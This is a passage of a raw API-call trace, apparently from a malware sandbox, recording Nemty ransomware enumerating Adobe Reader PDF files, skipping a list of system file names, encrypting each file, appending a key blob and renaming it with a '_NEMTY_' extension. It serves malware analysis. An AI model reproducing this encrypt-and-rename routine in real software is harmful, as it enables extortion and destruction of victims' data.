Size=0x20) returned 0x4f9ecb8 [0188.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.009] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.009] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.009] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.009] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="K6mHWrMxscf1FQK0xXhy3pw29NJTIf2mXIQai9hMkd5onmffgdYPb9R9uu6NxPe+\r\nKVdkWbglVGhMqtJM/oSgBN7svPzwIUJjmU46r1PYAfeJXLW7iHIXy+3hfa7eRKwf\r\n58nD6Pv1R1ZtZqER8EQvJ8l+3MmOyxWbTxV+ZDZWrjudGnZnA7imru5JUyCyNmKb\r\nb/8gqhQ1SBi/1sV4g3TnR0gTqZAja7yr8VCrYJNudqiDVpJ/YCTkxmG9co99zlbT\r\nlgoUvryzUdxDcg+ExrfiToNg4TRFZQsvd8kb8B0a5BU7pt/+p3ahjX1m628E4DcT\r\nUAZbo+moSECDQE2FMlfPIw==\r\n", pcchString=0x653df5c) returned 1 [0188.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.010] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.010] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=41839) returned 1 [0188.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa360) returned 0x6352c48 [0188.010] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.010] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa360, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xa360, lpOverlapped=0x0) returned 1 [0188.040] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.040] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa360, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xa360, lpOverlapped=0x0) returned 1 [0188.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.040] SetFilePointer (in: hFile=0x320, lDistanceToMove=41839, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa36f [0188.040] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.040] CloseHandle (hObject=0x320) returned 1 [0188.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0188.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0188.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.041] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0188.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0188.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.041] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x178c0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0188.041] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0188.042] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0188.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0188.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0188.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340430 [0188.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340508 [0188.043] Sleep (dwMilliseconds=0x5) [0188.056] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23bca450, dwHighDateTime=0x1d561e8)) [0188.056] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23bca450, dwHighDateTime=0x1d561e8)) [0188.056] GetLastError () returned 0x0 [0188.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.056] GetLastError () returned 0x0 [0188.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0188.056] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.056] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.056] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0188.056] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="O3ednFYO6sqgDzPozXRVjggltqk3oRM+xOAjs6foEMjSl8e3l0lLxJpGMJf7950G\r\nToUpyobBepgPbBoLRTUZ+HOqKnw9+5Ka9Yf8vzC5WQCenoGfCMRXnS7mwcKNazNK\r\n+Tn7w2wTuWk2rpnqrgXWP0xfwFE2A9ZmqfYMZLSxISfQc5SfR1z+bM3ZHBHpY09i\r\n8Vtd6Q+UHcOA5gxrCyDzx4EjosTtoDSs8FO4UFSLIXpX3HFn8An6oX4z2QqnjzE7\r\nBHYnbIMvRnqgbm/NuBlHePUTLibv1hFCCSo03zw4/mYhD8NEsY6VhBKN4XAbmf+r\r\nH/+PBnvKLeGmNk5uwA4gSA==\r\n", pcchString=0x653df5c) returned 1 [0188.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0188.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0188.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.057] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.057] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=96448) returned 1 [0188.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x178c0) returned 0x6352c48 [0188.057] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.057] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x178c0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x178c0, lpOverlapped=0x0) returned 1 [0188.126] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.126] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x178c0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x178c0, lpOverlapped=0x0) returned 1 [0188.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.126] SetFilePointer (in: hFile=0x320, lDistanceToMove=96448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x178c0 [0188.126] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.126] CloseHandle (hObject=0x320) returned 1 [0188.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344158 [0188.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0188.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0188.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0188.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0188.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344308 [0188.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0188.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0188.127] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0188.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0188.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0188.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340508 | out: hHeap=0x4f90000) returned 1 [0188.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.128] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23a737f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x23a737f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23a99950, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0188.128] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0188.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0188.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 